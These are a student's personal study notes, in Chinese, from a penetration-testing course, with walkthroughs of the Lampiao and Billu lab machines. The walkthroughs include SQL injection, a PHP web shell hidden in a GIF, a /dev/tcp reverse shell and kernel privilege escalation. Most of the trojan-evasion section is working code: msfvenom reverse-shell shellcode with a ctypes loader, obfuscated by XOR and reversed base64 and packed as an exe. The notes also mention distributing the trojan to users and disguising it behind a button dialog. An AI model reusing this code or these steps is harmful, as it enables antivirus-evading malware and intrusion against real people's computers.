4.2网安学习第四阶段第二周回顾(个人学习记录使用)

本周重点

①Lampiao靶场

②Billu靶场

③木马免杀(重点关注作业)

④CobaltStrike框架使用

本周主要内容

①渗透测试的过程

  1. 信息收集

    • 攻击者视角

      端口、版本、框架、URL、子域名、旁站、联系方式、地址、社工库、搜索引擎、fofa、zoomeyes、情报系统(奇安信、微步在线等)

    • 渗透测试者视角

      • SRC(Security Response Center)

        SRC知识分享[https://blog.csdn.net/hacker3062/article/details/132900134]

      • 项目级授权系统

        项目没有上线 ,也有可能是部署在内网的项目 , 可以利用 漏扫、黑盒、白盒 等方式方法

  2. 整个入侵过程,分为四个核心部分

    • 获取各位数据文件和源码等信息
    • 对数据库或者重要数据文件进行拖库
    • GetShell获取系统的基础控制权
    • 实现提权和权限维持
  3. 获取控制权之后

    如果拿下目标主机的完全控制权或部分控制权,进入内网进行试探和渗透,进一步拿下更多目标,获取更多有价值的数据。内网环境分为两大类:

    • 服务器内网,通常有公网IP作为入侵入口(一般web服务器居多,linux居多) ,进入后再进行内网渗透 ,内网一般存在其他服务器环境。

    • 办公室内网

      一般windows居多 ,所以windows的域渗透为主,不存在公网IP ,没有入口,需要通过钓鱼或者社工手段先拿下一台跳板机(二进制木马,反向连接) ,然后基于跳板机进行渗透。

  4. 对于测试者来说

    作为测试者,只关注漏洞本身,关注挖掘到更多的漏洞 ,无论漏洞是否严重 ,都需要挖掘并提供修复建议 。

    https://blog.csdn.net/qq_40898302/article/details/129137800

    致命或严重漏洞、高危漏洞、中危漏洞、低危漏洞、无效

②Lampiao靶场(kali攻击)

1.扫描主机和端口

nmap -sP 192.168.10.0/24

nmap -p- 192.168.10.139

-->1898端口

2.网页浏览

http://192.168.10.139:1898/

http://192.168.10.139:1898/?q=node/2

http://192.168.10.139:1898/audio.m4a

-->user:tiago

3.目录扫描

dirb http://192.168.10.139:1898

4.工具爆破

cewl 192.168.10.139:1898/ -w password.txt

hydra -l tiago -P password.txt 192.168.10.139 ssh

-->[22][ssh] host: 192.168.10.139   login: tiago   password: Virgulino

5.getshell

ssh tiago@192.168.10.139
Virgulino

-->权限低

6.msf工具破解

//网页使用的是Drupal框架
msfconsole
search Drupal
use 1
set rhosts 192.168.10.139
set rport 1898
run
shell
python -c 'import pty; pty.spawn("/bin/bash")'

-->有网页目录写入权限

6.脏牛提权

//开一个新的终端
searchsploit dirty
locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/ka1/
cd /home/ka1
python3 -m http.server 8088

//msf终端
wget 192.168.10.128:8088/mm.php
//蚁剑连接一句话木马

//脏牛提权
wget 192.168.10.128:8088/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o ycc 40847.cpp -lutil
./yc
-->root密码
dirtyCowFun

//root登录
su root

//mysql信息
cat /var/www/html/sites/default/settings.php
-->
'username' => 'drupaluser',
'password' => 'Virgulino',

//拖库
mysql -u root -p
Virgulino
 SELECT GROUP_CONCAT(schema_name SEPARATOR ', ') AS all_databases FROM information_schema.schemata LIMIT 0,1;
select table_name from information_schema.tables where table_schema=database();
select * from users;

③Billu靶场(kali攻击)

1.扫描主机和端口

nmap -sP 192.168.10.0/24

nmap -p- 192.168.10.140

-->80端口

2.网页浏览

访问默认80端口

image-20240406201411719

3.目录扫描

dirb http://192.168.10.140 /usr/share/dirb/wordlists/big.txt
或
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.10.140

4.文件包含漏洞

curl -d "file=/etc/passwd" http://192.168.10.140/test

curl -d "file=c.php" http://192.168.10.140/test
-->数据库信息
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

curl -d "file=index.php" http://192.168.10.140/test
-->'select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\''

5.构建SQL注入

select * from auth where  pass='111\' and uname='or 1=1 #'

打开网页之后利用sql注入
-->
u:or 1=1 #
p:111\

6.图片马上传

//一句话木马
//创建图片1.jpg上传
GIF89a
<?php @eval($_POST['c']);?>
//连接蚁剑要cookie(如图)
load=/uploaded_images/1.jpg&continue=continue&c

//反弹shell
//kali监听
nc -lvp 8888
//火狐panel.php页面提交post
load=/uploaded_images/1.jpg&continue=continue&c=system("bash -c 'bash -i >%26 /dev/tcp/192.168.10.128/8888 0>%261'");
-->网页图片目录写入权限

image-20240407154703284

7.Linux内核3.13.0漏洞提权

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/ka1/
cd /home/ka1
蚁剑上传 37292.c
gcc 37292.c -o ofs
-->
进入root用户

8.查看root信息(其他提权方法)

//接反弹shell步骤就可以
python -c "import pty;pty.spawn('/bin/bash')"
cat phpmy/config.inc.php
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
-->
ssh root@192.168.10.140
roottoor
-->
mysql信息
billu
b0x_billu

④木马免杀

木马分为两类 ,一是脚本型 ,二是二进制木马,两者都需要免杀 。

免杀的核心是 利用加密机制 或 编码机制 绕过杀毒软件的检测 。

1. 脚本型木马

https://baijiahao.baidu.com/s?id=1695910053618223684&wfr=spider&for=pc

https://blog.csdn.net/sunjikui1255326447/article/details/95756961

蚁剑工具自带编码格式

但是蚁剑必须要有一句话木马才能连接上目标主机 。

一句话木马的免杀 :参考上述两个网址 。

2 .二进制木马

如何生成一个二进制可执行程序 ,并且要对这个木马程序进行代码混淆,绕过杀毒软件的查杀 。

  1. 使用 MSFVenom 生成shellcode

    shellcode 支持的源码格式 :

    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
    

    生成python格式的shellcode :

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.12.129 LPORT=4444 -f py -o shellcode_64.py
    

    木马二进制代码 :

    buf =  b""
    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
    buf += b"\x41\x50\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52"
    buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"
    buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0"
    buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
    buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
    buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
    buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44"
    buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d"
    buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
    buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1"
    buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
    buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
    buf += b"\x41\x58\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59"
    buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
    buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
    buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
    buf += b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x0c\x81\x41\x54"
    buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
    buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
    buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
    buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
    buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
    buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
    buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
    buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
    buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
    buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
    buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
    buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
    buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
    buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
    buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
    buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
    buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
    buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
    buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
    buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
    buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
    buf += b"\xf0\xb5\xa2\x56\xff\xd5"
    

    带有加载器的代码 :

    import ctypes  # python中可以调用 DLL底层接口的库
    
    buf =  b""
    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
    buf += b"\x41\x50\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52"
    buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"
    buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0"
    buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
    buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
    buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
    buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44"
    buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x4d"
    buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
    buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1"
    buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
    buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
    buf += b"\x41\x58\x5e\x59\x48\x01\xd0\x5a\x41\x58\x41\x59"
    buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
    buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
    buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
    buf += b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x0c\x81\x41\x54"
    buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
    buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
    buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
    buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
    buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
    buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
    buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
    buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
    buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
    buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
    buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
    buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
    buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
    buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
    buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
    buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
    buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
    buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
    buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
    buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
    buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
    buf += b"\xf0\xb5\xa2\x56\xff\xd5"
    # 需要一个加载器 代码
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    
    1. 在kali 上开启监听 :

    image-20240408235446609

    1. 运行木马程序 实现反弹

      我们不可能把一个python文件交给用户执行 ,所以需要把这个程序生成一个可执行文件 。

      安装打包工具pyinstaller

      win+R打开cmd直接使用下面的命令安装即可 :

      pip install pyinstaller
      

      执行打包 :

      image-20240409001619240

  2. 对shellcode 进行代码混淆,对加载器代码进行混淆

    import ctypes
    import base64
    
    # 二进制代码
    buf =  b""
    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
    buf += b"\x41\x50\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52"
    buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9"
    buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x48\x31\xc0"
    buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
    buf += b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
    buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
    buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b"
    buf += b"\x40\x20\x49\x01\xd0\x50\xe3\x56\x48\xff\xc9\x4d"
    buf += b"\x31\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
    buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
    buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
    buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
    buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
    buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
    buf += b"\x49\xbc\x02\x00\x16\x18\xc0\xa8\x0c\x81\x41\x54"
    buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
    buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
    buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
    buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
    buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
    buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
    buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
    buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
    buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
    buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
    buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
    buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
    buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
    buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
    buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
    buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
    buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
    buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
    buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
    buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
    buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
    buf += b"\xf0\xb5\xa2\x56\xff\xd5"
    
    #
    # code = base64.b64encode(buf)
    # print(code);
    # code = code[::-1];
    # print(code)
    # code = code[::-1];
    # print(code)
    #
    # code = base64.b64decode(code)
    # print(code)
    
    
    
    
    # 需要一个解释器
    # ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;
    # rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);
    # ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf));
    # handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);
    # ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
    
    load = "ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;" \
           "rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40);" \
           "ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), " \
           "ctypes.create_string_buffer(buf), len(buf));" \
           "handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);" \
           "ctypes.windll.kernel32.WaitForSingleObject(handle, -1);" ;
    
    str = "";
    for c in load :
        temp = ord(c) ^ 951
        str += chr(temp) +"-"
    
    print(str)
    
    s = "ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ι-υ-ϒ-τ-σ-ώ-χ-ϒ-Ί-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ό-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ο-·-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-·-Ϗ-΄-·-·-·-Λ-Η-·-Ϗ-΃-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϥ-σ-ϛ-Ϻ-Ϙ-ρ-ϒ-Ϻ-ϒ-Ϛ-Ϙ-υ-ώ-Ο-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-υ-ϒ-ϖ-σ-ϒ-Ϩ-τ-σ-υ-Ϟ-ϙ-ϐ-Ϩ-ϕ-ς-ϑ-ϑ-ϒ-υ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Ξ-Ό-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϴ-υ-ϒ-ϖ-σ-ϒ-ϣ-ϟ-υ-ϒ-ϖ-ϓ-Ο-·-Λ-Η-·-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-·-Λ-Η-·-Λ-Η-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-Ϡ-ϖ-Ϟ-σ-ϱ-Ϙ-υ-Ϥ-Ϟ-ϙ-ϐ-ϛ-ϒ-ϸ-ϕ-ϝ-ϒ-ϔ-σ-Ο-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Λ-Η-Κ-Ά-Ξ-Ό";
    
    arr = s.split("-");
    print(arr)
    woniu = "";
    for n in arr :
        temp = ord(n) ^ 951 ;
        woniu += chr(temp)
    
    print(woniu)
    
    import base64
    import ctypes
    
    source = b'V/vViWL8CfcSZBgaYd+/BRbd2XISGnCSDHAS8kuz/nU1/HWTuVnuBl1VV/PMP8yC6GkWAoGWBBAAABAaZdVQYhSfAg/gV//XIntA6GU+Jik2JiE8JmUyx00xJm0wJiU1/X+UkiluBlcMIJfiIhVQAAAEAgWWBBka2noXgQ8gIVlfAg/gV//XIntA6GU+JiEWBRgaJHTTinISQw+gIBAAAMJ6lXnz/nkC0BchV/fY0Vam6GU+Jik4JyEWBBhaHnISV/P4f/g66GUwJiEw/jkwJiEw/jEwx0Uyx0EUQ5VQKoW1/DwaAmiuBlFAAEQAopeiMV9/HYydMpbQxnITknYSUFUgMgKwYYBACwbSlnYSAAQAgyegIZeiJZVQAAgMz8lMzdnvJ11SpLxiIpVWBhF4/LVQgw+gIpVQZFEWBpVWehVQYFE0BgEiEsYQQHQScA0iEhEDLGkZQHQSkA0iEhF21FdOFhAJMNATxXH44EcAB1QyBHErAHDSWHASISziBlcMNl8/IZ14QBdAJBCQLSEGItI0Bg0Z0BchIBAAAgIgLCAAAIXhPIwCYgXgmBdAIxjQLCiULiUUBJV7iHcAB1QyBHEIsIAfhxDrAHDSQJ3iIpkS3+ASJHTTgI1iIhhULiEYStISlZVUSHDSSBVQRFEAAAAzoDP5DiE/'
    source = source[::-1];
    buf = base64.b64decode(source);
    #print(source)
    
    s = "ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ι-υ-ϒ-τ-σ-ώ-χ-ϒ-Ί-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ό-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϡ-Ϟ-υ-σ-ς-ϖ-ϛ-϶-ϛ-ϛ-Ϙ-ϔ-Ο-·-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-·-Ϗ-΄-·-·-·-Λ-Η-·-Ϗ-΃-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϥ-σ-ϛ-Ϻ-Ϙ-ρ-ϒ-Ϻ-ϒ-Ϛ-Ϙ-υ-ώ-Ο-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-υ-ϒ-ϖ-σ-ϒ-Ϩ-τ-σ-υ-Ϟ-ϙ-ϐ-Ϩ-ϕ-ς-ϑ-ϑ-ϒ-υ-Ο-ϕ-ς-ϑ-Ξ-Λ-Η-ϛ-ϒ-ϙ-Ο-ϕ-ς-ϑ-Ξ-Ξ-Ό-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Η-Ί-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-ϴ-υ-ϒ-ϖ-σ-ϒ-ϣ-ϟ-υ-ϒ-ϖ-ϓ-Ο-·-Λ-Η-·-Λ-Η-ϔ-σ-ώ-χ-ϒ-τ-Ι-ϔ-Ϩ-ς-Ϟ-ϙ-σ-΁-΃-Ο-υ-π-Ϗ-χ-ϖ-ϐ-ϒ-Ξ-Λ-Η-·-Λ-Η-·-Λ-Η-·-Ξ-Ό-ϔ-σ-ώ-χ-ϒ-τ-Ι-π-Ϟ-ϙ-ϓ-ϛ-ϛ-Ι-Ϝ-ϒ-υ-ϙ-ϒ-ϛ-΄-΅-Ι-Ϡ-ϖ-Ϟ-σ-ϱ-Ϙ-υ-Ϥ-Ϟ-ϙ-ϐ-ϛ-ϒ-ϸ-ϕ-ϝ-ϒ-ϔ-σ-Ο-ϟ-ϖ-ϙ-ϓ-ϛ-ϒ-Λ-Η-Κ-Ά-Ξ-Ό";
    arr = s.split("-");
    print(arr)
    woniu = "";
    for n in arr :
        temp = ord(n) ^ 951 ;
        woniu += chr(temp)
    #print(woniu)
    
    exec(woniu)
    
  3. 利用python生成 exe

    pyinstaller.exe -F -w  xxxxx.py
    
  4. 分发给优良用户

3.作业 (具体查看作业内容复习)

  1. 自己设计一个免杀木马
  2. 给自己的木马包装一个外壳(执行程序时,弹出一个对话框,然后再对话框上有一个按钮,点击按钮,木马就执行了)
  3. 把二进制木马 和 解释器,分别存在两个地方,然后从两个地方拿到木马和解释器,然后执行 。

⑤CobaltStrike框架使用

Cobalt Strike是一款美国Red Team开发的神器,常被业界人称为CS。以Metasploit为基础的GUI框架式工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等,与MSF框架的诸多功能是上完全一致或类似的。主要用于团队作战,可谓是团队必备神器,能让多个测试人员同时连接到团体服务器上,共享测试资源与目标信息和sessions。

Cobalt Strike分为客户端和服务器组件。该服务器称为团队服务器,是Beacon Payload 的控制器,也是Cobalt Strike社交工程功能的主机。团队服务器还存储Cobalt Strike收集的数据,并管理日志记录。

Cobalt Strike团队服务器必须在受支持的Linux系统上运行。要启动Cobalt Strike团队服务器,请使用Cobalt Strike Linux软件包附带的teamserver脚本。

4.0版本至少需要JDK1.8及以上版本,4.4版本至少需要JDK11及以上版本。

CS功能点:

Kali Java 17 上直接运行服务器端和客户端

服务器端 运行时 需要指定IP和访问密码

